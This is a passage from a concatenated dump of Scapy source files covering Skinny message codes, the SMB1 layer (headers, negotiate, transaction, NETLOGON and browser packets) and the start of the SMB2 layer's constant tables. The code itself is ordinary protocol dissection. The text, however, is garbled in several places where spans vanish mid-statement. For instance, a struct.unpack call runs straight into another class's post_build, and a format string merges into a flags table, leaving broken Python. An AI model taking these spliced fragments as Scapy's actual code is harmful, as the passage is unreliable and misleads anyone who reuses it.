"KeypadButtonMessage", 0x0004: "EnblocCallMessage", 0x0005: "StimulusMessage", 0x0006: "OffHookMessage", 0x0007: "OnHookMessage", 0x0008: "HookFlashMessage", 0x0009: "ForwardStatReqMessage", 0x000A: "SpeedDialStatReqMessage", 0x000B: "LineStatReqMessage", 0x000C: "ConfigStatReqMessage", 0x000D: "TimeDateReqMessage", 0x000E: "ButtonTemplateReqMessage", 0x000F: "VersionReqMessage", 0x0010: "CapabilitiesResMessage", 0x0011: "MediaPortListMessage", 0x0012: "ServerReqMessage", 0x0020: "AlarmMessage", 0x0021: "MulticastMediaReceptionAck", 0x0022: "OpenReceiveChannelAck", 0x0023: "ConnectionStatisticsRes", 0x0024: "OffHookWithCgpnMessage", 0x0025: "SoftKeySetReqMessage", 0x0026: "SoftKeyEventMessage", 0x0027: "UnregisterMessage", 0x0028: "SoftKeyTemplateReqMessage", 0x0029: "RegisterTokenReq", 0x002A: "MediaTransmissionFailure", 0x002B: "HeadsetStatusMessage", 0x002C: "MediaResourceNotification", 0x002D: "RegisterAvailableLinesMessage", 0x002E: "DeviceToUserDataMessage", 0x002F: "DeviceToUserDataResponseMessage", 0x0030: "UpdateCapabilitiesMessage", 0x0031: "OpenMultiMediaReceiveChannelAckMessage", 0x0032: "ClearConferenceMessage", 0x0033: "ServiceURLStatReqMessage", 0x0034: "FeatureStatReqMessage", 0x0035: "CreateConferenceResMessage", 0x0036: "DeleteConferenceResMessage", 0x0037: "ModifyConferenceResMessage", 0x0038: "AddParticipantResMessage", 0x0039: "AuditConferenceResMessage", 0x0040: "AuditParticipantResMessage", 0x0041: "DeviceToUserDataVersion1Message", # Callmanager -> Station */ 0x0081: "RegisterAckMessage", 0x0082: "StartToneMessage", 0x0083: "StopToneMessage", 0x0085: "SetRingerMessage", 0x0086: "SetLampMessage", 0x0087: "SetHkFDetectMessage", 0x0088: "SetSpeakerModeMessage", 0x0089: "SetMicroModeMessage", 0x008A: "StartMediaTransmission", 0x008B: "StopMediaTransmission", 0x008C: "StartMediaReception", 0x008D: "StopMediaReception", 0x008F: "CallInfoMessage", 0x0090: "ForwardStatMessage", 0x0091: "SpeedDialStatMessage", 0x0092: "LineStatMessage", 0x0093: "ConfigStatMessage", 0x0094: "DefineTimeDate", 0x0095: "StartSessionTransmission", 0x0096: "StopSessionTransmission", 0x0097: "ButtonTemplateMessage", 0x0098: "VersionMessage", 0x0099: "DisplayTextMessage", 0x009A: "ClearDisplay", 0x009B: "CapabilitiesReqMessage", 0x009C: "EnunciatorCommandMessage", 0x009D: "RegisterRejectMessage", 0x009E: "ServerResMessage", 0x009F: "Reset", 0x0100: "KeepAliveAckMessage", 0x0101: "StartMulticastMediaReception", 0x0102: "StartMulticastMediaTransmission", 0x0103: "StopMulticastMediaReception", 0x0104: "StopMulticastMediaTransmission", 0x0105: "OpenReceiveChannel", 0x0106: "CloseReceiveChannel", 0x0107: "ConnectionStatisticsReq", 0x0108: "SoftKeyTemplateResMessage", 0x0109: "SoftKeySetResMessage", 0x0110: "SelectSoftKeysMessage", 0x0111: "CallStateMessage", 0x0112: "DisplayPromptStatusMessage", 0x0113: "ClearPromptStatusMessage", 0x0114: "DisplayNotifyMessage", 0x0115: "ClearNotifyMessage", 0x0116: "ActivateCallPlaneMessage", 0x0117: "DeactivateCallPlaneMessage", 0x0118: "UnregisterAckMessage", 0x0119: "BackSpaceReqMessage", 0x011A: "RegisterTokenAck", 0x011B: "RegisterTokenReject", 0x0042: "DeviceToUserDataResponseVersion1Message", 0x011C: "StartMediaFailureDetection", 0x011D: "DialedNumberMessage", 0x011E: "UserToDeviceDataMessage", 0x011F: "FeatureStatMessage", 0x0120: "DisplayPriNotifyMessage", 0x0121: "ClearPriNotifyMessage", 0x0122: "StartAnnouncementMessage", 0x0123: "StopAnnouncementMessage", 0x0124: "AnnouncementFinishMessage", 0x0127: "NotifyDtmfToneMessage", 0x0128: "SendDtmfToneMessage", 0x0129: "SubscribeDtmfPayloadReqMessage", 0x012A: "SubscribeDtmfPayloadResMessage", 0x012B: "SubscribeDtmfPayloadErrMessage", 0x012C: "UnSubscribeDtmfPayloadReqMessage", 0x012D: "UnSubscribeDtmfPayloadResMessage", 0x012E: "UnSubscribeDtmfPayloadErrMessage", 0x012F: "ServiceURLStatMessage", 0x0130: "CallSelectStatMessage", 0x0131: "OpenMultiMediaChannelMessage", 0x0132: "StartMultiMediaTransmission", 0x0133: "StopMultiMediaTransmission", 0x0134: "MiscellaneousCommandMessage", 0x0135: "FlowControlCommandMessage", 0x0136: "CloseMultiMediaReceiveChannel", 0x0137: "CreateConferenceReqMessage", 0x0138: "DeleteConferenceReqMessage", 0x0139: "ModifyConferenceReqMessage", 0x013A: "AddParticipantReqMessage", 0x013B: "DropParticipantReqMessage", 0x013C: "AuditConferenceReqMessage", 0x013D: "AuditParticipantReqMessage", 0x013F: "UserToDeviceDataVersion1Message", } class Skinny(Packet): name = "Skinny" fields_desc = [LEIntField("len", 0), LEIntField("res", 0), LEIntEnumField("msg", 0, skinny_messages)] bind_layers(TCP, Skinny, dport=2000) bind_layers(TCP, Skinny, sport=2000) bind_layers(TCP, Skinny, dport=2000, sport=2000) ================================================ FILE: scapy/layers/smb.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) Gabriel Potter """ SMB 1.0 (Server Message Block), also known as CIFS. .. note:: You will find more complete documentation for this layer over at `SMB `_ Specs: - [MS-CIFS] (base) - [MS-SMB] (extension of CIFS - SMB v1) """ import struct from scapy.config import conf from scapy.packet import Packet, bind_layers, bind_top_down from scapy.fields import ( ByteEnumField, ByteField, ConditionalField, FieldLenField, FieldListField, FlagsField, IPField, LEFieldLenField, LEIntEnumField, LEIntField, LELongField, LEShortEnumField, LEShortField, MultipleTypeField, PacketField, PacketLenField, PacketListField, ReversePadField, ScalingField, ShortField, StrFixedLenField, StrNullField, StrNullFieldUtf16, UTCTimeField, UUIDField, XLEShortField, XStrLenField, ) from scapy.layers.dns import ( DNSStrField, DNSCompressedPacket, ) from scapy.layers.ntlm import ( _NTLMPayloadPacket, _NTLMPayloadField, _NTLM_ENUM, _NTLM_post_build, ) from scapy.layers.netbios import NBTSession, NBTDatagram from scapy.layers.gssapi import ( GSSAPI_BLOB, ) from scapy.layers.smb2 import ( SMB2_Compression_Transform_Header, SMB2_Header, SMB2_Transform_Header, ) from scapy.layers.windows.erref import STATUS_ERREF SMB_COM = { 0x00: "SMB_COM_CREATE_DIRECTORY", 0x01: "SMB_COM_DELETE_DIRECTORY", 0x02: "SMB_COM_OPEN", 0x03: "SMB_COM_CREATE", 0x04: "SMB_COM_CLOSE", 0x05: "SMB_COM_FLUSH", 0x06: "SMB_COM_DELETE", 0x07: "SMB_COM_RENAME", 0x08: "SMB_COM_QUERY_INFORMATION", 0x09: "SMB_COM_SET_INFORMATION", 0x0A: "SMB_COM_READ", 0x0B: "SMB_COM_WRITE", 0x0C: "SMB_COM_LOCK_BYTE_RANGE", 0x0D: "SMB_COM_UNLOCK_BYTE_RANGE", 0x0E: "SMB_COM_CREATE_TEMPORARY", 0x0F: "SMB_COM_CREATE_NEW", 0x10: "SMB_COM_CHECK_DIRECTORY", 0x11: "SMB_COM_PROCESS_EXIT", 0x12: "SMB_COM_SEEK", 0x13: "SMB_COM_LOCK_AND_READ", 0x14: "SMB_COM_WRITE_AND_UNLOCK", 0x1A: "SMB_COM_READ_RAW", 0x1B: "SMB_COM_READ_MPX", 0x1C: "SMB_COM_READ_MPX_SECONDARY", 0x1D: "SMB_COM_WRITE_RAW", 0x1E: "SMB_COM_WRITE_MPX", 0x1F: "SMB_COM_WRITE_MPX_SECONDARY", 0x20: "SMB_COM_WRITE_COMPLETE", 0x21: "SMB_COM_QUERY_SERVER", 0x22: "SMB_COM_SET_INFORMATION2", 0x23: "SMB_COM_QUERY_INFORMATION2", 0x24: "SMB_COM_LOCKING_ANDX", 0x25: "SMB_COM_TRANSACTION", 0x26: "SMB_COM_TRANSACTION_SECONDARY", 0x27: "SMB_COM_IOCTL", 0x28: "SMB_COM_IOCTL_SECONDARY", 0x29: "SMB_COM_COPY", 0x2A: "SMB_COM_MOVE", 0x2B: "SMB_COM_ECHO", 0x2C: "SMB_COM_WRITE_AND_CLOSE", 0x2D: "SMB_COM_OPEN_ANDX", 0x2E: "SMB_COM_READ_ANDX", 0x2F: "SMB_COM_WRITE_ANDX", 0x30: "SMB_COM_NEW_FILE_SIZE", 0x31: "SMB_COM_CLOSE_AND_TREE_DISC", 0x32: "SMB_COM_TRANSACTION2", 0x33: "SMB_COM_TRANSACTION2_SECONDARY", 0x34: "SMB_COM_FIND_CLOSE2", 0x35: "SMB_COM_FIND_NOTIFY_CLOSE", 0x70: "SMB_COM_TREE_CONNECT", 0x71: "SMB_COM_TREE_DISCONNECT", 0x72: "SMB_COM_NEGOTIATE", 0x73: "SMB_COM_SESSION_SETUP_ANDX", 0x74: "SMB_COM_LOGOFF_ANDX", 0x75: "SMB_COM_TREE_CONNECT_ANDX", 0x7E: "SMB_COM_SECURITY_PACKAGE_ANDX", 0x80: "SMB_COM_QUERY_INFORMATION_DISK", 0x81: "SMB_COM_SEARCH", 0x82: "SMB_COM_FIND", 0x83: "SMB_COM_FIND_UNIQUE", 0x84: "SMB_COM_FIND_CLOSE", 0xA0: "SMB_COM_NT_TRANSACT", 0xA1: "SMB_COM_NT_TRANSACT_SECONDARY", 0xA2: "SMB_COM_NT_CREATE_ANDX", 0xA4: "SMB_COM_NT_CANCEL", 0xA5: "SMB_COM_NT_RENAME", 0xC0: "SMB_COM_OPEN_PRINT_FILE", 0xC1: "SMB_COM_WRITE_PRINT_FILE", 0xC2: "SMB_COM_CLOSE_PRINT_FILE", 0xC3: "SMB_COM_GET_PRINT_QUEUE", 0xD8: "SMB_COM_READ_BULK", 0xD9: "SMB_COM_WRITE_BULK", 0xDA: "SMB_COM_WRITE_BULK_DATA", 0xFE: "SMB_COM_INVALID", 0xFF: "SMB_COM_NO_ANDX_COMMAND", } class SMB_Header(Packet): name = "SMB 1 Protocol Request Header" fields_desc = [ StrFixedLenField("Start", b"\xffSMB", 4), ByteEnumField("Command", 0x72, SMB_COM), LEIntEnumField("Status", 0, STATUS_ERREF), FlagsField( "Flags", 0x18, 8, [ "LOCK_AND_READ_OK", "BUF_AVAIL", "res", "CASE_INSENSITIVE", "CANONICALIZED_PATHS", "OPLOCK", "OPBATCH", "REPLY", ], ), FlagsField( "Flags2", 0x0000, -16, [ "LONG_NAMES", "EAS", "SMB_SECURITY_SIGNATURE", "COMPRESSED", "SMB_SECURITY_SIGNATURE_REQUIRED", "res", "IS_LONG_NAME", "res", "res", "res", "REPARSE_PATH", "EXTENDED_SECURITY", "DFS", "PAGING_IO", "NT_STATUS", "UNICODE", ], ), LEShortField("PIDHigh", 0x0000), StrFixedLenField("SecuritySignature", b"", length=8), LEShortField("Reserved", 0x0), LEShortField("TID", 0), LEShortField("PIDLow", 0), LEShortField("UID", 0), LEShortField("MID", 0), ] def guess_payload_class(self, payload): # type: (bytes) -> Packet if not payload: return super(SMB_Header, self).guess_payload_class(payload) WordCount = ord(payload[:1]) if self.Command == 0x72: if self.Flags.REPLY: if self.Flags2.EXTENDED_SECURITY: return SMBNegotiate_Response_Extended_Security else: return SMBNegotiate_Response_Security else: return SMBNegotiate_Request elif self.Command == 0x73: if WordCount == 0: return SMBSession_Null if self.Flags.REPLY: if WordCount == 0x04: return SMBSession_Setup_AndX_Response_Extended_Security elif WordCount == 0x03: return SMBSession_Setup_AndX_Response if self.Flags2.EXTENDED_SECURITY: return SMBSession_Setup_AndX_Response_Extended_Security else: return SMBSession_Setup_AndX_Response else: if WordCount == 0x0C: return SMBSession_Setup_AndX_Request_Extended_Security elif WordCount == 0x0D: return SMBSession_Setup_AndX_Request if self.Flags2.EXTENDED_SECURITY: return SMBSession_Setup_AndX_Request_Extended_Security else: return SMBSession_Setup_AndX_Request elif self.Command == 0x25: if self.Flags.REPLY: if WordCount == 0x11: return SMBMailslot_Write else: return SMBTransaction_Response else: if WordCount == 0x11: return SMBMailslot_Write else: return SMBTransaction_Request return super(SMB_Header, self).guess_payload_class(payload) def answers(self, pkt): return SMB_Header in pkt # SMB Negotiate Request class SMB_Dialect(Packet): name = "SMB Dialect" fields_desc = [ ByteField("BufferFormat", 0x02), StrNullField("DialectString", "NT LM 0.12"), ] def default_payload_class(self, payload): return conf.padding_layer class SMBNegotiate_Request(Packet): name = "SMB Negotiate Request" fields_desc = [ ByteField("WordCount", 0), LEFieldLenField("ByteCount", None, length_of="Dialects"), PacketListField( "Dialects", [SMB_Dialect()], SMB_Dialect, length_from=lambda pkt: pkt.ByteCount, ), ] bind_layers(SMB_Header, SMBNegotiate_Request, Command=0x72) # SMBNegotiate Protocol Response def _SMBStrNullField(name, default): """ Returns a StrNullField that is either normal or UTF-16 depending on the SMB headers. """ def _isUTF16(pkt): while not hasattr(pkt, "Flags2") and pkt.underlayer: pkt = pkt.underlayer return hasattr(pkt, "Flags2") and pkt.Flags2.UNICODE return MultipleTypeField( [(StrNullFieldUtf16(name, default), _isUTF16)], StrNullField(name, default), ) def _len(pkt, name): """ Returns the length of a field, works with Unicode strings. """ fld, v = pkt.getfield_and_val(name) return len(fld.addfield(pkt, v, b"")) class _SMBNegotiate_Response(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: # Yes this is inspired by # https://github.com/wireshark/wireshark/blob/925e01b23fd5aad2fa929fafd894128a88832e74/epan/dissectors/packet-smb.c#L2902 wc = struct.unpack(" bytes return ( _NTLM_post_build( self, pkt, 32 + 31 + len(self.Setup) * 2 + len(self.Name) + 1, { "Parameter": 19, "Data": 23, }, config=_SMB_CONFIG, ) + pay ) def mysummary(self): if getattr(self, "Data", None) is not None: return self.sprintf("Tran %Name% ") + self.Data.mysummary() return self.sprintf("Tran %Name%") bind_top_down(SMB_Header, SMBTransaction_Request, Command=0x25) class SMBMailslot_Write(SMBTransaction_Request): WordCount = 0x11 # [MS-CIFS] sect 2.2.4.33.2 class SMBTransaction_Response(_NTLMPayloadPacket): name = "SMB COM Transaction Response" _NTLM_PAYLOAD_FIELD_NAME = "Buffer" fields_desc = [ FieldLenField( "WordCount", None, length_of="SetupCount", adjust=lambda pkt, x: x + 0x0A, fmt="B", ), FieldLenField( "TotalParamCount", None, length_of="Buffer", fmt=" bytes return ( _NTLM_post_build( self, pkt, 32 + 22 + len(self.Setup) * 2, { "Parameter": 7, "Data": 13, }, config=_SMB_CONFIG, ) + pay ) bind_top_down(SMB_Header, SMBTransaction_Response, Command=0x25, Flags=0x80) # [MS-ADTS] sect 6.3.1.4 _NETLOGON_opcodes = { 0x7: "LOGON_PRIMARY_QUERY", 0x12: "LOGON_SAM_LOGON_REQUEST", 0x13: "LOGON_SAM_LOGON_RESPONSE", 0x15: "LOGON_SAM_USER_UNKNOWN", 0x17: "LOGON_SAM_LOGON_RESPONSE_EX", 0x19: "LOGON_SAM_USER_UNKNOWN_EX", } _NV_VERSION = { 0x00000001: "V1", 0x00000002: "V5", 0x00000004: "V5EX", 0x00000008: "V5EX_WITH_IP", 0x00000010: "V5EX_WITH_CLOSEST_SITE", 0x01000000: "AVOID_NT4EMUL", 0x10000000: "PDC", 0x20000000: "IP", 0x40000000: "LOCAL", 0x80000000: "GC", } class NETLOGON(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: if _pkt[0] == 0x07: # LOGON_PRIMARY_QUERY return NETLOGON_LOGON_QUERY elif _pkt[0] == 0x12: # LOGON_SAM_LOGON_REQUEST return NETLOGON_SAM_LOGON_REQUEST elif _pkt[0] == 0x13: # LOGON_SAM_USER_RESPONSE try: i = _pkt.index(b"\xff\xff\xff\xff") NtVersion = NETLOGON_SAM_LOGON_RESPONSE_NT40.fields_desc[ -3 ].getfield(None, _pkt[i - 4 : i])[1] if NtVersion.V1 and not NtVersion.V5: return NETLOGON_SAM_LOGON_RESPONSE_NT40 except Exception: pass return NETLOGON_SAM_LOGON_RESPONSE elif _pkt[0] == 0x15: # LOGON_SAM_USER_UNKNOWN return NETLOGON_SAM_LOGON_RESPONSE elif _pkt[0] == 0x17: # LOGON_SAM_LOGON_RESPONSE_EX return NETLOGON_SAM_LOGON_RESPONSE_EX elif _pkt[0] == 0x19: # LOGON_SAM_USER_UNKNOWN_EX return NETLOGON_SAM_LOGON_RESPONSE return cls class NETLOGON_LOGON_QUERY(NETLOGON): fields_desc = [ LEShortEnumField("OpCode", 0x7, _NETLOGON_opcodes), StrNullField("ComputerName", ""), StrNullField("MailslotName", ""), StrNullFieldUtf16("UnicodeComputerName", ""), FlagsField("NtVersion", 0xB, -32, _NV_VERSION), XLEShortField("LmNtToken", 0xFFFF), XLEShortField("Lm20Token", 0xFFFF), ] # [MS-ADTS] sect 6.3.1.6 class NETLOGON_SAM_LOGON_REQUEST(NETLOGON): fields_desc = [ LEShortEnumField("OpCode", 0x12, _NETLOGON_opcodes), LEShortField("RequestCount", 0), StrNullFieldUtf16("UnicodeComputerName", ""), StrNullFieldUtf16("UnicodeUserName", ""), StrNullField("MailslotName", "\\MAILSLOT\\NET\\GETDC701253F9"), LEIntField("AllowableAccountControlBits", 0), FieldLenField("DomainSidSize", None, fmt="=2008R2 0x00008000: "DS_9", # >=2012 0x00010000: "DS_10", # >=2016 0x00020000: "DS_11", # >=2019 0x00040000: "DS_12", # >=2025 0x20000000: "DNS_CONTROLLER", 0x40000000: "DNS_DOMAIN", 0x80000000: "DNS_FOREST", } # [MS-ADTS] sect 6.3.1.8 class NETLOGON_SAM_LOGON_RESPONSE(NETLOGON, DNSCompressedPacket): fields_desc = [ LEShortEnumField("OpCode", 0x17, _NETLOGON_opcodes), StrNullFieldUtf16("UnicodeLogonServer", ""), StrNullFieldUtf16("UnicodeUserName", ""), StrNullFieldUtf16("UnicodeDomainName", ""), UUIDField("DomainGuid", None, uuid_fmt=UUIDField.FORMAT_LE), UUIDField("NullGuid", None, uuid_fmt=UUIDField.FORMAT_LE), DNSStrField("DnsForestName", ""), DNSStrField("DnsDomainName", ""), DNSStrField("DnsHostName", ""), IPField("DcIpAddress", "0.0.0.0"), FlagsField("Flags", 0, -32, _NETLOGON_FLAGS), FlagsField("NtVersion", 0x1, -32, _NV_VERSION), XLEShortField("LmNtToken", 0xFFFF), XLEShortField("Lm20Token", 0xFFFF), ] def get_full(self): return self.original # [MS-ADTS] sect 6.3.1.9 class DcSockAddr(Packet): fields_desc = [ LEShortField("sin_family", 2), LEShortField("sin_port", 0), IPField("sin_addr", None), LELongField("sin_zero", 0), ] def default_payload_class(self, payload): return conf.padding_layer class NETLOGON_SAM_LOGON_RESPONSE_EX(NETLOGON, DNSCompressedPacket): fields_desc = [ LEShortEnumField("OpCode", 0x17, _NETLOGON_opcodes), LEShortField("Sbz", 0), FlagsField("Flags", 0, -32, _NETLOGON_FLAGS), UUIDField("DomainGuid", None, uuid_fmt=UUIDField.FORMAT_LE), DNSStrField("DnsForestName", ""), DNSStrField("DnsDomainName", ""), DNSStrField("DnsHostName", ""), DNSStrField("NetbiosDomainName", ""), DNSStrField("NetbiosComputerName", ""), DNSStrField("UserName", ""), DNSStrField("DcSiteName", "Default-First-Site-Name"), DNSStrField("ClientSiteName", "Default-First-Site-Name"), ConditionalField( ByteField("DcSockAddrSize", 0x10), lambda pkt: pkt.NtVersion.V5EX_WITH_IP, ), ConditionalField( PacketField("DcSockAddr", DcSockAddr(), DcSockAddr), lambda pkt: pkt.NtVersion.V5EX_WITH_IP, ), ConditionalField( DNSStrField("NextClosestSiteName", ""), lambda pkt: pkt.NtVersion.V5EX_WITH_CLOSEST_SITE, ), FlagsField("NtVersion", 0xB, -32, _NV_VERSION), XLEShortField("LmNtToken", 0xFFFF), XLEShortField("Lm20Token", 0xFFFF), ] def pre_dissect(self, s): try: i = s.index(b"\xff\xff\xff\xff") self.fields["NtVersion"] = self.fields_desc[-3].getfield( self, s[i - 4 : i] )[1] except Exception: self.NtVersion = 0xB return s def get_full(self): return self.original # [MS-BRWS] sect 2.2 class BRWS(Packet): fields_desc = [ ByteEnumField( "OpCode", 0x00, { 0x01: "HostAnnouncement", 0x02: "AnnouncementRequest", 0x08: "RequestElection", 0x09: "GetBackupListRequest", 0x0A: "GetBackupListResponse", 0x0B: "BecomeBackup", 0x0C: "DomainAnnouncement", 0x0D: "MasterAnnouncement", 0x0E: "ResetStateRequest", 0x0F: "LocalMasterAnnouncement", }, ), ] def mysummary(self): return self.sprintf("%OpCode%") registered_opcodes = {} @classmethod def register_variant(cls): cls.registered_opcodes[cls.OpCode.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: return cls.registered_opcodes.get(_pkt[0], cls) return cls def default_payload_class(self, payload): return conf.padding_layer # [MS-BRWS] sect 2.2.1 class BRWS_HostAnnouncement(BRWS): OpCode = 0x01 fields_desc = [ BRWS, ByteField("UpdateCount", 0), LEIntField("Periodicity", 128000), StrFixedLenField("ServerName", b"", length=16), ByteField("OSVersionMajor", 6), ByteField("OSVersionMinor", 1), LEIntField("ServerType", 4611), ByteField("BrowserConfigVersionMajor", 21), ByteField("BrowserConfigVersionMinor", 1), XLEShortField("Signature", 0xAA55), StrNullField("Comment", ""), ] def mysummary(self): return self.sprintf("%OpCode% for %ServerName%") # [MS-BRWS] sect 2.2.6 class BRWS_BecomeBackup(BRWS): OpCode = 0x0B fields_desc = [ BRWS, StrNullField("BrowserToPromote", b""), ] def mysummary(self): return self.sprintf("%OpCode% from %BrowserToPromote%") # [MS-BRWS] sect 2.2.10 class BRWS_LocalMasterAnnouncement(BRWS_HostAnnouncement): OpCode = 0x0F # SMB dispatcher class _SMBGeneric(Packet): name = "SMB Generic dispatcher" fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Depending on the first 4 bytes of the packet, dispatch to the correct version of Header (either SMB or SMB2) """ if _pkt and len(_pkt) >= 4: if _pkt[:4] == b"\xffSMB": return SMB_Header if _pkt[:4] == b"\xfeSMB": return SMB2_Header if _pkt[:4] == b"\xfdSMB": return SMB2_Transform_Header if _pkt[:4] == b"\xfcSMB": return SMB2_Compression_Transform_Header return cls bind_layers(NBTSession, _SMBGeneric) bind_layers(NBTDatagram, _SMBGeneric) ================================================ FILE: scapy/layers/smb2.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ SMB (Server Message Block), also known as CIFS - version 2 .. note:: You will find more complete documentation for this layer over at `SMB `_ """ import collections import functools import hashlib import os import struct from scapy.automaton import select_objects from scapy.config import conf, crypto_validator from scapy.error import log_runtime from scapy.packet import Packet, bind_layers, bind_top_down from scapy.fields import ( ByteEnumField, ByteField, ConditionalField, FieldLenField, FieldListField, FlagsField, IP6Field, IPField, IntField, LEIntField, LEIntEnumField, LELongField, LenField, LEShortEnumField, LEShortField, MultipleTypeField, PadField, PacketField, PacketLenField, PacketListField, ReversePadField, ScalingField, ShortEnumField, ShortField, StrFieldUtf16, StrFixedLenField, StrLenField, StrLenFieldUtf16, StrNullFieldUtf16, ThreeBytesField, UTCTimeField, UUIDField, XLEIntField, XLELongField, XLEShortField, XStrLenField, XStrFixedLenField, YesNoByteField, ) from scapy.sessions import DefaultSession from scapy.supersocket import StreamSocket if conf.crypto_valid: from scapy.libs.rfc3961 import SP800108_KDFCTR from scapy.layers.gssapi import GSSAPI_BLOB from scapy.layers.netbios import NBTSession from scapy.layers.ntlm import ( _NTLMPayloadField, _NTLMPayloadPacket, _NTLM_ENUM, _NTLM_post_build, ) from scapy.layers.windows.erref import STATUS_ERREF # EnumField SMB_DIALECTS = { 0x0202: "SMB 2.002", 0x0210: "SMB 2.1", 0x02FF: "SMB 2.???", 0x0300: "SMB 3.0", 0x0302: "SMB 3.0.2", 0x0311: "SMB 3.1.1", } # SMB2 sect 2.1.2.1 REPARSE_TAGS = { 0x00000000: "IO_REPARSE_TAG_RESERVED_ZERO", 0x00000001: "IO_REPARSE_TAG_RESERVED_ONE", 0x00000002: "IO_REPARSE_TAG_RESERVED_TWO", 0xA0000003: "IO_REPARSE_TAG_MOUNT_POINT", 0xC0000004: "IO_REPARSE_TAG_HSM", 0x80000005: "IO_REPARSE_TAG_DRIVE_EXTENDER", 0x80000006: "IO_REPARSE_TAG_HSM2", 0x80000007: "IO_REPARSE_TAG_SIS", 0x80000008: "IO_REPARSE_TAG_WIM", 0x80000009: "IO_REPARSE_TAG_CSV", 0x8000000A: "IO_REPARSE_TAG_DFS", 0x8000000B: "IO_REPARSE_TAG_FILTER_MANAGER", 0xA000000C: "IO_REPARSE_TAG_SYMLINK", 0xA0000010: "IO_REPARSE_TAG_IIS_CACHE", 0x80000012: "IO_REPARSE_TAG_DFSR", 0x80000013: "IO_REPARSE_TAG_DEDUP", 0xC0000014: "IO_REPARSE_TAG_APPXSTRM", 0x80000014: "IO_REPARSE_TAG_NFS", 0x80000015: "IO_REPARSE_TAG_FILE_PLACEHOLDER", 0x80000016: "IO_REPARSE_TAG_DFM", 0x80000017: "IO_REPARSE_TAG_WOF", 0x80000018: "IO_REPARSE_TAG_WCI", 0x90001018: "IO_REPARSE_TAG_WCI_1", 0xA0000019: "IO_REPARSE_TAG_GLOBAL_REPARSE", 0x9000001A: "IO_REPARSE_TAG_CLOUD", 0x9000101A: "IO_REPARSE_TAG_CLOUD_1", 0x9000201A: "IO_REPARSE_TAG_CLOUD_2", 0x9000301A: "IO_REPARSE_TAG_CLOUD_3", 0x9000401A: "IO_REPARSE_TAG_CLOUD_4", 0x9000501A: "IO_REPARSE_TAG_CLOUD_5", 0x9000601A: "IO_REPARSE_TAG_CLOUD_6", 0x9000701A: "IO_REPARSE_TAG_CLOUD_7", 0x9000801A: "IO_REPARSE_TAG_CLOUD_8", 0x9000901A: "IO_REPARSE_TAG_CLOUD_9", 0x9000A01A: "IO_REPARSE_TAG_CLOUD_A", 0x9000B01A: "IO_REPARSE_TAG_CLOUD_B", 0x9000C01A: "IO_REPARSE_TAG_CLOUD_C", 0x9000D01A: "IO_REPARSE_TAG_CLOUD_D", 0x9000E01A: "IO_REPARSE_TAG_CLOUD_E", 0x9000F01A: "IO_REPARSE_TAG_CLOUD_F", 0x8000001B: "IO_REPARSE_TAG_APPEXECLINK", 0x9000001C: "IO_REPARSE_TAG_PROJFS", 0xA000001D: "IO_REPARSE_TAG_LX_SYMLINK", 0x8000001E: "IO_REPARSE_TAG_STORAGE_SYNC", 0xA000001F: "IO_REPARSE_TAG_WCI_TOMBSTONE", 0x80000020: "IO_REPARSE_TAG_UNHANDLED", 0x80000021: "IO_REPARSE_TAG_ONEDRIVE", 0xA0000022: "IO_REPARSE_TAG_PROJFS_TOMBSTONE", 0x80000023: "IO_REPARSE_TAG_AF_UNIX", 0x80000024: "IO_REPARSE_TAG_LX_FIFO", 0x80000025: "IO_REPARSE_TAG_LX_CHR", 0x80000026: "IO_REPARSE_TAG_LX_BLK", 0xA0000027: "IO_REPARSE_TAG_WCI_LINK", 0xA0001027: "IO_REPARSE_TAG_WCI_LINK_1", } # SMB2 sect 2.2.1.1 SMB2_COM = { 0x0000: "SMB2_NEGOTIATE", 0x0001: "SMB2_SESSION_SETUP", 0x0002: "SMB2_LOGOFF", 0x0003: "SMB2_TREE_CONNECT", 0x0004: "SMB2_TREE_DISCONNECT", 0x0005: "SMB2_CREATE", 0x0006: "SMB2_CLOSE", 0x0007: "SMB2_FLUSH", 0x0008: "SMB2_READ", 0x0009: "SMB2_WRITE", 0x000A: "SMB2_LOCK", 0x000B: "SMB2_IOCTL", 0x000C: "SMB2_CANCEL", 0x000D: "SMB2_ECHO", 0x000E: "SMB2_QUERY_DIRECTORY", 0x000F: "SMB2_CHANGE_NOTIFY", 0x0010: "SMB2_QUERY_INFO", 0x0011: "SMB2_SET_INFO", 0x0012: "SMB2_OPLOCK_BREAK", } # EnumField SMB2_NEGOTIATE_CONTEXT_TYPES = { 0x0001: "SMB2_PREAUTH_INTEGRITY_CAPABILITIES", 0x0002: "SMB2_ENCRYPTION_CAPABILITIES", 0x0003: "SMB2_COMPRESSION_CAPABILITIES", 0x0005: "SMB2_NETNAME_NEGOTIATE_CONTEXT_ID", 0x0006: "SMB2_TRANSPORT_CAPABILITIES", 0x0007: "SMB2_RDMA_TRANSFORM_CAPABILITIES", 0x0008: "SMB2_SIGNING_CAPABILITIES", } # FlagField SMB2_CAPABILITIES = { 0x00000001: "DFS", 0x00000002: "LEASING", 0x00000004: "LARGE_MTU", 0x00000008: "MULTI_CHANNEL", 0x00000010: "PERSISTENT_HANDLES", 0x00000020: "DIRECTORY_LEASING", 0x00000040: "ENCRYPTION", } SMB2_SECURITY_MODE = { 0x01: "SIGNING_ENABLED", 0x02: "SIGNING_REQUIRED", } # [MS-SMB2] 2.2.3.1.3 SMB2_COMPRESSION_ALGORITHMS = { 0x0000: "None", 0x0001: "LZNT1", 0x0002: "LZ77", 0x0003: "LZ77 + Huffman", 0x0004: "Pattern_V1", } # [MS-SMB2] sect 2.2.3.1.2 SMB2_ENCRYPTION_CIPHERS = { 0x0001: "AES-128-CCM", 0x0002: "AES-128-GCM", 0x0003: "AES-256-CCM", 0x0004: "AES-256-GCM", } # [MS-SMB2] sect 2.2.3.1.7 SMB2_SIGNING_ALGORITHMS = { 0x0000: "HMAC-SHA256", 0x0001: "AES-CMAC", 0x0002: "AES-GMAC", } # [MS-SMB2] sect 2.2.3.1.1 SMB2_HASH_ALGORITHMS = { 0x0001: "SHA-512", } # sect 